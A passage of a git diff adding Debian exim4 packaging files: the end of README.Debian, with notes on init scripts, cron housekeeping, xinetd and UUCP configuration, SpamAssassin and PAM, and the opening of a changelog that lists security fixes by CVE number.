+ E-Mail passwords are likely to be stored with the
+ client software, which greatly increases the chance of a
+ compromise.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </para>
+ </section>
+ </section>
+
+ <section> <title>How the Exim daemon is started</title>
+ <para>
+ The Debian Exim 4 packages' init script is located in
+ <filename>/etc/init.d/exim4</filename>. Apart from the
+ functions that are required by Debian policy and the LSB, it
+ supports the commands <command>what</command>, which executes
+ <command>exiwhat</command> to show what your Exim processes
+ are doing, and <command>force_stop</command> which
+ unconditionally kills all Exim processes.
+ </para>
+ <para>
+ The init script can be configured to start listening and/or
+ queue running daemons. This configuration can be found in
+ <filename>/etc/default/exim4</filename>. This file is
+ extensively documented.
+ </para>
+ </section>
+
+ <section> <title>Miscellaneous packaging issues</title>
+ <section> <title>The daily cron job</title>
+ <para>
+ Exim4's daily cron job
+ (<filename>/etc/cron.daily/exim4-base</filename>)
+ does basic housekeeping tasks:
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ It reads <filename>/etc/default/exim4</filename>, so you
+ can use this file to change any of the variables used in
+ the cron job.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ It is a no-op if no Exim4 binary is found.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ If <command>$E4BCD_DAILY_REPORT_TO</command> is set
+ to a non-empty string, the output of eximstats is
+ mailed to the address given in that variable. The
+ default is empty, so no reports are sent. Options
+ for eximstats can be given in
+ <command>$E4BCD_DAILY_REPORT_OPTIONS</command>.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ A non-empty paniclog is a nearly sure sign of bad
+ things going on. Thus, the cron job will send out
+ warning messages to the syslog and root if it finds
+ the panic log non-empty.
+ Please note that the paniclog is not rotated daily,
+ so existing issues will be reported daily until
+ either the paniclog is rotated due to its sheer
+ size, or you manually move it away, for example by
+ calling <command>logrotate -f
+ /etc/logrotate.d/exim4-paniclog</command> from a shell.
+ </simpara>
+ <simpara>
+ Just in case your system logs transient error
+ situations to the panic log as well (see, for
+ example,
+ <ulink url="http://www.exim.org/bugzilla/show_bug.cgi?id=92">Exim Bug 92</ulink>),
+ you can configure
+ <command>$E4BCD_PANICLOG_NOISE</command> to a
+ regular expression. If the paniclog contains only
+ lines that match that regular expression, no warning
+ messages are generated.
+ </simpara>
+ <simpara>
+ If you want to disable paniclog monitoring
+ completely, set <command>$E4BCD_WATCH_PANICLOG</command>
+ to no. <command>E4BCD_WATCH_PANICLOG=once</command> will
+ rotate a non-empty paniclog automatically after sending out
+ the warning e-mail.
+ </simpara>
+ <simpara>
+ The <command>E4BCD_PANICLOG_LINES</command> setting can be
+ used to limit the number of lines of paniclog quoted in
+ warning email. It is set to 10 by default.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ It tidies up the retry and hints databases.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </para>
+ </section>
+ </section>
+
+ <section> <title>Using Exim with inetd/xinetd</title>
+ <para>
+ Exim4 is run as a separate daemon instead of inetd/xinetd for
+ two reasons:
+ <variablelist>
+ <varlistentry>
+ <term>Ease of maintenance:</term>
+ <listitem>
+ <simpara>
+ update-inetd is difficult to impossible to handle
+ correctly (Just check the archived bug reports of Exim.)
+ and update-inetd seems to be unmaintained for a long
+ time, nobody dares to touch it. To quote Mark Baker, the
+ maintainer of Exim (v3): "I really wish I had never used
+ inetd in the first place, but simply set up exim to run
+ as a daemon, but it's too late to change that now."
+ </simpara>
+ </listitem>
+ </varlistentry>
+ <varlistentry>
+ <term>Extended features</term>
+ <listitem>
+ <simpara>
+ Running from <command>inetd</command> interferes with
+ Exim's resource controls (e.g it disables
+ smtp_accept_max_per_host and smtp_accept_max).
+ </simpara>
+ </listitem>
+ </varlistentry>
+ </variablelist>
+ </para>
+ <para>
+ If you introduce bugs on your systems by running from (x)inetd
+ you are on your own! If you want to run exim from
+ <command>xinetd</command>, follow these steps:
+ <orderedlist>
+ <listitem>
+ <simpara>
+ Disable Exim 4's listening daemon by executing
+ <command>update-exim4defaults --queuerunner
+ queueonly</command>
+ </simpara>
+ </listitem>
+ <listitem>
+ <para>
+ Create <filename>/etc/xinetd.d/exim4</filename>
+ <programlisting>
+service smtp
+{
+ disable = no
+ flags = NAMEINARGS
+ socket_type = stream
+ protocol = tcp
+ wait = no
+ user = Debian-exim
+ group = Debian-exim
+ server = /usr/sbin/exim4
+ server_args = exim4 -bs
+}
+ </programlisting>
+ </para>
+ </listitem>
+ <listitem>
+ <simpara>Run <command>invoke-rc.d exim4 restart; invoke-rc.d
+(x)inetd restart</command></simpara>
+ </listitem>
+ </orderedlist>
+ </para>
+ <para>If you want to use plain inetd, insert following line into
+ <filename>/etc/inetd.conf</filename>:<programlisting>
+smtp stream tcp nowait Debian-exim /usr/sbin/exim4 exim4 -bs
+ </programlisting>
+ </para>
+ </section>
+
+ <section> <title>Handling incoming mail for local accounts with low UID</title>
+ <para>
+ Since system accounts (mail, uucp, lp etc) are usually aliased
+ to root, and root's mailbox is usually read by a human, these
+ account names have started to be a common target for spammers.
+ The Debian Exim 4 packages have a mechanism to deal with this
+ situation. However, since this derives rather far from normal
+ behavior, it is disabled by default.
+ </para>
+ <para>
+ To enable it, set the macro FIRST_USER_ACCOUNT_UID to a numeric,
+ non-zero value. Incoming mail for local users that have a UID
+ lower than FIRST_USER_ACCOUNT_UID is rejected with the message "no
+ mail to system accounts". Incoming mail for local users that
+ have a UID greater or equal FIRST_USER_ACCOUNT_UID are processed as
+ usual. Therefore, the default value of 0 ensures that the
+ mechanism is disabled. On Debian systems, setting
+ FIRST_USER_ACCOUNT_UID to 500 or 1000 (depending on your local policy)
+ will disable incoming mail for system accounts.
+ </para>
+ <para>
+ Just in case that you need exceptions to the rule,
+ <filename>/etc/exim4/lowuid-aliases</filename> is an alias
+ file that is only honored for local accounts with UID lower
+ than FIRST_USER_ACCOUNT_UID. If you define an alias for such an
+ account here, incoming mail is processed according to the
+ alias. If you alias the account to itself, messages are
+ delivered to the account itself, which is an exception to the
+ rule that messages for low-UID accounts are rejected. The
+ format of <filename>/etc/exim4/lowuid-aliases</filename> is
+ just another alias file.
+ </para>
+ </section>
+ <section> <title>How to bypass local routing specialities</title>
+ <para>
+ Sometimes, it might be desirable to be able to bypass local
+ routing specialities like the alias file or a user-forward
+ file. This is possible in the Debian Exim4 packages by
+ prefixing the account name with "real-". For a local account
+ name "foo", "real-foo@hostname.example" will result in direct
+ delivery to foo's local Mailbox.
+ </para>
+ <para>
+ This feature is by default only available for locally
+ generated messages. If you want it to be accessible for
+ messages delivered from remote as well, set the Exim macro
+ COND_LOCAL_SUBMITTER to true. If you do not want this at all,
+ set the macro to false. Please note that the userforward
+ router uses this feature to get error messages delivered, i.e.
+ notifying the user of a syntax error in her
+ <filename>.forward</filename> file.
+ </para>
+ </section>
+ <section> <title>Using more complex deliveries from alias files</title>
+ <para>
+ Delivery to arbitrary files, directory or to pipes in the
+ <filename>/etc/aliases</filename> file is disabled by default
+ in the Debian Exim 4 packages. The delivery process including the
+ program being piped to would run as the exim admin-user
+ Debian-exim, which might open up security holes.
+ </para>
+ <para>
+ Invoking pipes from <filename>/etc/aliases</filename> file is
+ widely considered obsolete and deprecated. The Debian Exim
+ package maintainers would like to suggest using a dedicated
+ router/transport pair to invoke local processes for mail
+ processing. For example, the Debian mailman package contains a
+ <filename>/usr/share/doc/mailman/README.Exim4.Debian</filename> file
+ that gives a good example how to implement this. Using a
+ dedicated router/transport pair have the following advantages:
+ <itemizedlist>
+ <listitem>
+ <para>
+ The router/transport pair can be put in place by another
+ package, giving a well-defined transaction point between
+ Exim 4 and $PACKAGE.
+ </para>
+ </listitem>
+ <listitem>
+ <para>
+ Not allowing pipe deliveries from alias files makes it
+ harder to accidentally run programs with wrong
+ privileges.
+ </para>
+ </listitem>
+ <listitem>
+ <para>
+ It is possible to run different pipe processes under
+ different accounts.
+ </para>
+ </listitem>
+ <listitem>
+ <para>
+ Even if only invoking a single local program, it is easier
+ to do with your dedicated router/transport since you won't
+ need to change this file, making automatic updates of this
+ file possible for future versions of the Exim 4 packages. If
+ you do local changes here, dpkg conffile handling will
+ bother you on future updates.
+ </para>
+ </listitem>
+ </itemizedlist>
+ If you insist on using <filename>/etc/aliases</filename> in
+ the traditional way, you will need to activate the
+ respective functions by setting the transport options on the
+ system_aliases router appropriately. Macros are defined to make
+ this easier. See
+
+<filename>/etc/exim4/conf.d/router/400_exim4-config_system_aliases</filename>
+ for information about which macros are available. You might
+ find the address_file, address_pipe and/or address_directory
+ transports that are used for the userforward router helpful in
+ writing your own transports for use in the system_aliases router.
+ </para>
+ <para>
+ If any of your aliases expand to pipes or files or directories
+ you should set up a user and a group for these deliveries to run
+ under. You can do this by setting the "user" and - if necessary
+ - a "group" option and adding a "group" option if necessary.
+ Alternatively, you can specify "user" and/or "group" on the
+ transports that are used.
+ </para>
+ </section>
+
+ <section> <title>Putting Exim 4 and UUCP together</title>
+ <para>
+ UUCP is a traditional way to execute remote jobs (e.g. spool
+ mails), and as a lot of old things there are much more than one
+ way to do it. However, today, the ways to handle it have boiled
+ down to more or less two different ways.
+ </para>
+ <para>
+ Our recommendation is to use bsmtp/rsmtp wherever possible,
+ because it supports all kinds of mail addresses (also the empty
+ ones in bounces), and is also better from the security point of
+ view.
+ </para>
+ <section> <title>Sending mail via UUCP</title>
+ <section> <title>rmail with full addresses</title>
+ <para>
+ rmail is the oldest way to transfer mail to a remote system.
+ However, today it is normally required to use addresses with
+ full domains for that (Well, they look like any normal address
+ for you, and we do not tell about the other way to not confuse
+ you ;). If you want this, you can use this transport:
+ </para>
+ <programlisting>
+rmail:
+ debug_print = "T: rmail for $pipe_addresses"
+ driver=pipe
+ command = uux - -r -a$sender_address -gC $domain_data!rmail $pipe_addresses
+ return_fail_output
+ user=uucp
+ batch_max = 20
+ </programlisting>
+ <para>
+ However, all recipients are handled via the command line, so
+ you are discouraged to use it.
+ </para>
+ </section>
+ <section> <title>bsmtp/rsmtp</title>
+ <para>
+ This is a more efficient way to transfer mails. It works
+ like sending SMTP via a pipe, but instead of waiting for an
+ answer, the SMTP is just batched; from this is also the name
+ batched SMTP or short bsmtp.
+ </para>
+ <para>
+ Furthermore, this way won't fail on addresses like "
+ "@do.main. If you want this, please use this, if the remote
+ site uses rsmtp (e.g. is Exim 4):
+ </para>
+ <programlisting>
+rsmtp:
+ debug_print = "T: rsmtp for $pipe_addresses"
+ driver=pipe
+ command = /usr/bin/uux - -r -a$sender_address -gC $domain_data!rsmtp
+ use_bsmtp
+ return_fail_output
+ user=uucp
+ batch_max = 100
+ </programlisting>
+ <para>
+ and this if it wants bsmtp as the command:
+ </para>
+ <programlisting>
+bsmtp:
+ debug_print = "T: bsmtp for $pipe_addresses"
+ driver=pipe
+ command = /usr/bin/uux - -r -a$sender_address -gC $domain_data!bsmtp
+ use_bsmtp
+ return_fail_output
+ user=uucp
+ batch_max = 100
+ </programlisting>
+ <para>
+ Of course, these examples can be extended for e.g.
+ compression (but you can also use ssh for compression, if
+ you want).
+ </para>
+ </section>
+ <section> <title>The router</title>
+ <para>
+ You need a router to tell Exim 4 which mails to forward to
+ UUCP. You can use this one; please adopt the last line. Of
+ course, it is also possible to send mail via more than one way.
+ </para>
+ <programlisting>
+uucp_router:
+ debug_print = "R: uucp_router for $local_part@$domain"
+ driver=accept
+ require_files = +/usr/bin/uux
+ domains = wildlsearch;/etc/exim4/uucp
+ transport = rsmtp
+ </programlisting>
+ <para>
+ The file <filename>/etc/exim4/uucp</filename> looks like:
+ </para>
+ <programlisting>
+*.do.main uucp.name.of.remote.side
+ </programlisting>
+ </section>
+ <section> <title>Speaking UUCP with the smarthost</title>
+ <para>
+ If you have a leaf system (i.e. all your mail not for your
+ local system goes to a single remote system), you can just
+ forward all non-local mail to the remote UUCP system. In
+ this case, you can replace "domains = ..." with "domains = !
+ +local_domains", but then you need also to replace
+ $domain_data in the transport by the UUCP-name of your
+ smarthost. The file <filename>/etc/exim4/uucp</filename> is
+ not needed in this case.
+ </para>
+ </section>
+ </section>
+ <section> <title>Receiving mail via UUCP</title>
+ <section> <title>Allow UUCP to use any envelope address</title>
+ <para>
+ Depending how much you trust your local users, you might use
+ trusted_users and add uucp to it or use
+ local_sender_retain=true and local_from_check=false.
+ </para>
+ </section>
+ <section> <title>If you get batched smtp</title>
+ <para>
+ Allow uucp to execute rsmtp via
+ <programlisting>
+commands rmail rnews rsmtp
+ </programlisting>
+ in your <filename>/etc/uucp/sys</filename>, and ask the
+ sending site to use rsmtp (and not bsmtp) as the batched
+ command.
+ </para>
+ </section>
+ </section>
+ </section>
+ <section> <title>Notes on running SpamAssassin at SMTP time</title>
+ <para>
+ Exim can run
+ <ulink url="https://spamassassin.apache.org/">
+ SpamAssassin</ulink> while receiving a message by SMTP which
+ allows one to avoid acceptance of spam messages. The Debian
+ configuration contains some example code for running SpamAssassin,
+ but like all filtering this needs to be handled carefully.
+ </para>
+ <para>
+ SpamAssassin's default report should not be used in a add_header
+ statement since it contains empty lines. (This triggers e.g.
+ Amavis' warning "BAD HEADER SECTION, Improper folded header field
+ made up entirely of whitespace".) This is a safe, terse alternative:
+ <programlisting>
+ clear_report_template
+ report (_SCORE_ / _REQD_ requ) _TESTSSCORES(,)_ autolearn=_AUTOLEARN_
+ </programlisting>
+ </para>
+ <para>
+ Rejecting spam messages: Do not reject spam-messages received on
+ (non-spam) mailing lists, this can/will cause auto-unsubscription.
+ This also applies to messages received via forwarding services
+ (e.g. @debian.org addresses). If theses messages are rejected the
+ forwarding services will need to send a bounce address to the
+ spammer and will probably disable the forwarding if it happens all
+ the time. You will need to have some kind of whitelist to exclude
+ these hosts.
+ </para>
+ <para>
+ Security considerations: By default <command>spamd</command>
+ runs as root and changes uid/gid to the requested user to run
+ SpamAssassin. The example uses SpamAssassin default non-privileged
+ user (nobody) which prevents use of Bayesian filtering since this
+ requires persistent storage. You might want to setup a dedicated
+ user for exim spam scanning and use that one, either for a separate
+ SpamAssassin user profile or to run SpamAssassin as non-privileged
+ user.
+ </para>
+ </section>
+ </section>
+
+ <section> <title>Updating from Exim 3</title>
+ <para>
+ If you use <command>exim4-config</command> from Debian, you will
+ get the debconf based configuration scheme that is intended to
+ cover the majority of cases.
+ </para>
+ <para>
+ If <command>exim4-config</command> is installed while an Exim 3
+ package is present on the system,
+ <command>exim4-config</command> tries to parse the Exim 3 config
+ file to determine the answers that were given to
+ <command>eximconfig</command> on Exim 3 installation. These
+ answers are then taken as default values for the debconf based
+ configuration process. Be warned! <command>eximconfig</command>
+ from the Exim 3 packages does not record the explicit answers
+ given on Exim 3 configuration. So we have to guess the answers
+ from the Exim 3 configuration file
+ <filename>/etc/exim/exim.conf</filename>, which is bound to fail
+ if the config file has been modified after using
+ <command>eximconfig</command>.
+ </para>
+ <para>
+ This is the reason why we refrained from doing a "silent update", but
+ only use the guessed answers to get reasonable defaults for our
+ debconf based configuration process.
+ </para>
+ <para>
+ Please note that we do not use the
+ <command>exim_convert4r4</command> script, but try to configure
+ the Exim 4 package in the same way Exim 3 was. This will
+ hopefully aid future updates.
+ </para>
+ <para>
+ If you have used a customized Exim 3 configuration, you can of
+ course use <command>exim_convert4r4</command>, and install the
+ resulting file as <filename>/etc/exim4/exim4.conf</filename>
+ after careful inspection. Exim 4 will then use that file and
+ ignore the file that it generated from the debconf
+ configuration. To aid future updates, we do, however, encourage
+ you not to use the
+ <filename>exim_convert4r4-generated</filename> file verbatim but
+ instead drop appropriate configuration snippets in their
+ appropriate place in <filename>/etc/exim4/conf.d</filename>.
+ </para>
+ </section>
+ <section> <title>Misc Notes</title>
+ <section> <title>PAM</title>
+ <para>
+ On Debian systems the PAM modules run as the same user
+ as the calling program, so they cannot do anything you
+ could not do yourself, and in particular cannot access
+ <filename>/etc/shadow</filename> unless the user is in group
+ shadow. - If you want to use
+ <filename>/etc/shadow</filename> for Exim's SMTP AUTH you
+ will need to run exim as group shadow. Only
+ exim4-daemon-heavy is linked against libpam. We suggest using
+ saslauthd instead.
+ </para>
+ </section>
+ <section> <title>Account name restrictions</title>
+ <para>
+ In the default configuration, Exim cannot locally deliver
+ mail to accounts which have capitals in their name. This is
+ caused by the fact that Exim converts the local part of incoming
+ mail to lower case before the comparison done by the
+ check_local_user directive in routers is done.
+ </para>
+ <para>
+ The router option caseful_local_part can be used to control
+ this, and we decided not to set this option in the Debian
+ configuration since it would be a rather big change to Exim's
+ default behavior.
+ </para>
+ </section>
+ <section> <title>No deliveries to root!</title>
+ <para>
+ No Exim 4 version released with any Debian OS can run
+ deliveries as root. If you don't redirect mail for root via
+ <filename>/etc/aliases</filename> to a nonprivileged
+ account, the mail will be delivered to
+ <filename>/var/mail/mail</filename> with permissions 0600 and
+ owner mail:mail.
+ </para>
+ <para>
+ This redirection is done by the mail4root router which
+ is last in the list and will thus catch mail for root that has not
+ been taken care of earlier.
+ </para>
+ </section>
+ <section> <title>Debugging maintainer and init scripts</title>
+ <para>
+ Most of the scripts that come with this Debian package do a
+ <command>set -x</command> if invoked with the environment
+ variable EX4DEBUG defined and non-zero. This is particularly
+ handy if you need to debug the maintainer scripts that are
+ invoked during package installation. Since dpkg redirects
+ stdout of maintainer scripts, calling dpkg with EX4DEBUG
+ set might yield interesting results. If in doubt, invoke
+ the maintainer scripts with EX4DEBUG set manually directly
+ from the command line.
+ </para>
+ </section>
+ <section> <title>SELinux</title>
+ <para>
+ There is no SELinux policy for Exim4 available so far.
+ Until this is resolved, users should use postfix or
+ sendmail if they intend to run SELinux.
+ </para>
+ <para>
+ The Debian Exim4 maintainers would appreciate if
+ somebody could write an SELinux policy. We will gladly
+ use them in the Debian packages as long as there is
+ somebody available to test, debug and support.
+ </para>
+ </section>
+ <section> <title>misc</title>
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ <command>convert4r4</command> is installed as
+ <filename>/usr/sbin/exim_convert4r4.</filename>
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ The charset for $header_foo expansions defaults to
+ UTF-8 instead of ISO-8859-1.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ <ulink url="http://marc.merlins.org/linux/exim/">
+ Marc Merlin's Exim 4 Page</ulink> has a lot of ACL
+ examples.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ For an example of Exim usage in a
+ <emphasis>large</emphasis> installation, see
+ Tony Finch's
+ <ulink
+url="http://www-uxsup.csx.cam.ac.uk/~fanf2/hermes/doc/talks/2005-02-eximconf/">
+paper</ulink>
+ about the Exim installation at University of Cambridge:
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </section>
+ </section>
+ <section> <title>Debian modifications to the Exim source</title>
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ Install the exim binary as /usr/sbin/exim4 instead of
+ /usr/sbin/exim-&lt;version&gt; with a symlink /usr/sbin/exim. Also
+ adapt the documentation.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Make the build reproducible. Pull date/time from debian/changelog
+ and use it as build time instead of using __DATE__.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Documentation updates
+ </simpara>
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ Mention how to install the Debian packaged perl-modules needed
+ for eximstats' graphs.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Add a warning about convert4r4.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Point to the <ulink
+ url="mailto:pkg-exim4-users@lists.alioth.debian.org">
+ Debian-specific mailing list</ulink> instead of
+ the <ulink url="mailto:exim-users@exim.org">official
+ exim-users list</ulink>.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </listitem>
+ <listitem>
+ <simpara>
+ <ulink
+ url="http://marc.merlins.org/linux/exim/files/sa-exim-current/">localscan_dlopen.patch</ulink>:
+ This patch makes it possible to use and switch between
+ different local_scan
+ functions without recompiling Exim. Use
+ local_scan_path = /path/to/sharedobject to utilize
+ local_scan() in <filename>/path/to/sharedobject</filename>.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </section>
+
+ <section> <title>Credits</title>
+ <para><variablelist>
+ <varlistentry>
+ <term><ulink url="mailto:aba@not.so.argh.org">Andreas
+ Barth</ulink></term>
+ <listitem>
+ <simpara>UUCP documentation</simpara>
+ </listitem>
+ </varlistentry>
+ <varlistentry>
+ <term>Dan Weber, Ryen Underwood</term>
+ <listitem>
+ <simpara>inetd/xinetd documentation</simpara>
+ </listitem>
+ </varlistentry>
+ </variablelist>
+ </para>
+ </section>
+
+</article>
diff --git a/debian/TODO b/debian/TODO
new file mode 100644
index 0000000..00f24ac
--- /dev/null
+++ b/debian/TODO
@@ -0,0 +1,2 @@
+The TODO list has moved to an alioth Tracker on
+https://alioth.debian.org/tracker/?atid=411651&group_id=30055&func=browse
diff --git a/debian/changelog b/debian/changelog
new file mode 100644
index 0000000..b9625bd
--- /dev/null
+++ b/debian/changelog
@@ -0,0 +1,6017 @@
+exim4 (4.92-8+deb10u6) buster-security; urgency=high
+
+ * Fix several security vulnerabilities reported by Qualys and add related
+ robustness improvements. (Originally fixed in upstream release 4.94.3 and
+ in upstream GIT branch exim-4.92.3+fixes. (Special thanks to Heiko)
+ + CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
+ + CVE-2020-28018: Use-after-free in tls-openssl.c
+ + CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
+ + CVE-2020-28010: Heap out-of-bounds write in main()
+ + CVE-2020-28011: Heap buffer overflow in queue_run()
+ + CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
+ + CVE-2020-28017: Integer overflow in receive_add_recipient()
+ + CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
+ + CVE-2020-28026: Line truncation and injection in spool_read_header()
+ + CVE-2020-28015 and CVE-2020-28021: New-line injection into spool header
+ file.
+ + CVE-2020-28009: Integer overflow in get_stdinput()
+ + CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
+ + CVE-2020-28012: Missing close-on-exec flag for privileged pipe
+ + CVE-2020-28019: Failure to reset function pointer after BDAT error
+ + CVE-2020-28007: Link attack in Exim's log directory
+ + CVE-2020-28008: Assorted attacks in Exim's spool directory
+ + CVE-2020-28014, CVE-2021-27216: Arbitrary PID file creation, clobbering,
+ and deletion.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 01 May 2021 11:42:39 +0200
+
+exim4 (4.92-8+deb10u5) buster; urgency=medium
+
+ * Fix use of concurrent TLS connections under GnuTLS:
+ 80_01-GnuTLS-fix-hanging-callout-connections.patch
+ 80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch
+ 80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch
+ (Thanks, Heiko Schlittermann for the backport)
+ * Pull 82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch from
+ upstream git (already included in 4.94), on TLS connections to a CNAME
+ verify the certificate against the original CNAME instead of against
+ the A record. Closes: #985243
+ * In README.Debian explicitly document the limitation/extent of server
+ certificate checking (authenticity not enforced) in the default
+ configuration (Thanks, Jö Fahlke). This Closes: #985244 (improved
+ documentation and Closes: #985344 (Yes, without required cert
+ checking MitM attacks are possible, but for a stable update documenting
+ this is the best compromise.)
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 18 Mar 2021 09:10:15 +0100
+
+exim4 (4.92-8+deb10u4) buster-security; urgency=high
+
+ * Fix authentication bypass in SPA authenticator due to out-of-bound buffer
+ read. https://bugs.exim.org/show_bug.cgi?id=2571 CVE-2020-12783
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 13 May 2020 18:01:31 +0200
+
+exim4 (4.92-8+deb10u3) buster-security; urgency=high
+
+ * 78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch:
+ Fix buffer overflow in string_vformat.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 27 Sep 2019 18:09:35 +0200
+
+exim4 (4.92-8+deb10u2) buster-security; urgency=high
+
+ * 78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch Fix SNI
+ related buffer overflow. CVE-2019-15846
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 03 Sep 2019 19:51:11 +0200
+
+exim4 (4.92-8+deb10u1) buster-security; urgency=high
+
+ * Fix remote command execution vulnerability related to
+ "${sort}"-expansion. CVE-2019-13917 OVE-20190718-0006
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 20 Jul 2019 13:35:58 +0200
+
+exim4 (4.92-8) unstable; urgency=low
+
+ * Pulled from exim-4.92+fixes branch:
+ + 75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch
+ Fix expansion of $tls_out_ocsp under hosts_request_ocsp.
+ + 75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch
+ When tls_verify_certificates was set to a directory instead of a file
+ exim/GnuTLS would still send out the list of accepted certificates,
+ This did not match documented behavior.
+ + 75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch
+ The dsn_from option was not used for DSN success messages.
+ * Pulled from upstream GIT master:
+ + 75_14-Fix-smtp-response-timeout.patch
+ Fix the timeout on smtp response to apply to the whole response instead
+ of resetting for every byte received.
+ + 75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch
+ https://bugs.exim.org/show_bug.cgi?id=2405
+ ${eval } was broken on 32bit archs.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 08 Jun 2019 17:37:43 +0200
+
+exim4 (4.92-7) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 07 May 2019 19:44:23 +0200
+
+exim4 (4.92-6) experimental; urgency=medium
+
+ * Revert 90_localscan_dlopen.dpatch removal to give Magnus some chance for
+ debugging sa-exim.
+ * Set HAVE_LOCAL_SCAN=yes in EDITME.
+ * Upload to experimental.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 16 Apr 2019 17:58:20 +0200
+
+exim4 (4.92-5) unstable; urgency=medium
+
+ * Improved spam-scanning example with accompaning information in
+ README.Debian. Explicitly warn about adding the default SpamAssassin
+ report in a header, which Closes: #774553
+ * Drop 90_localscan_dlopen.dpatch. (It has been non-functional for a couple
+ of months.) Closes: #925982 Add a Conflicts for sa-exim, which relied on
+ the (working) version of the patch. Drop exim4-dev package. Add a NEWS
+ entry for this change.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 07 Apr 2019 13:39:31 +0200
+
+exim4 (4.92-4) unstable; urgency=medium
+
+ * Another patch from exim-4.92+fixes branch:
+ 75_10-Harden-plaintext-authenticator.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 22 Mar 2019 07:15:20 +0100
+
+exim4 (4.92-3) unstable; urgency=medium
+
+ * Pull fixes from exim-4.92+fixes branch.
+ + 75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch
+ + 75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch
+ + 75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch
+ + 75_08-Logging-fix-initial-listening-on-log-line.patch
+ + 75_09-OpenSSL-Fix-aggregation-of-messages.patch
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 20 Mar 2019 17:01:29 +0100
+
+exim4 (4.92-2) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 20 Feb 2019 19:23:11 +0100
+
+exim4 (4.92-1) experimental; urgency=medium
+
+ * Point watchfile to release directory again.
+ * New upstream stable release, identical to rc6 except for the version
+ string.
+ * Pull fixes from exim-4.92+fixes branch.
+ + 75_01-Fix-json-extract-operator-for-unfound-case.patch
+ + 75_02-Fix-transport-buffer-size-handling.patch
+ + 75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch
+ + 75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch
+ * Upload to experimental while waiting for rc6 to migrate.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 17 Feb 2019 13:13:55 +0100
+
+exim4 (4.92~RC6-1) unstable; urgency=low
+
+ * New upstream snapshot rc6, includes
+ 40_01-Fix-dkim_verify_signers-option.-Bug-2366.patch.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 09 Feb 2019 14:33:15 +0100
+
+exim4 (4.92~RC5-2) unstable; urgency=high
+
+ * In init script use start-stop-daemon directly instead of lsb-base's
+ killproc which currently fails to pass on the executable name to s-s-d
+ (921558). This broke with s-s-d 1.19.2 which (for security reasons)
+ requires further filtering arguments in addition to --pidfile when the pid
+ file is not owned by root. Closes: #921205
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 07 Feb 2019 18:42:41 +0100
+
+exim4 (4.92~RC5-1) unstable; urgency=medium
+
+ * New upstream snapshot rc5.
+ * 40_01-Fix-dkim_verify_signers-option.-Bug-2366.patch: dkim_verify_signers
+ was ignored.
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 31 Jan 2019 19:25:03 +0100
+
+exim4 (4.92~RC4-3) unstable; urgency=medium
+
+ * Refresh debian/upstream/signing-key.asc from
+ https://downloads.exim.org/Exim-Maintainers-Keyring.asc.
+ * Drop outdated pointers to alioth package homepage from README.Debian.
+ * Update exim4-config Breaks to enforce upgrade to daemon binary package
+ with DANE support. Closes: #919902
+ * [lintian] Minimize upstream/signing-key.asc.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 20 Jan 2019 17:52:39 +0100
+
+exim4 (4.92~RC4-2) unstable; urgency=medium
+
+ * Upload to unstable.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 05 Jan 2019 15:35:38 +0100
+
+exim4 (4.92~RC4-1) experimental; urgency=low
+
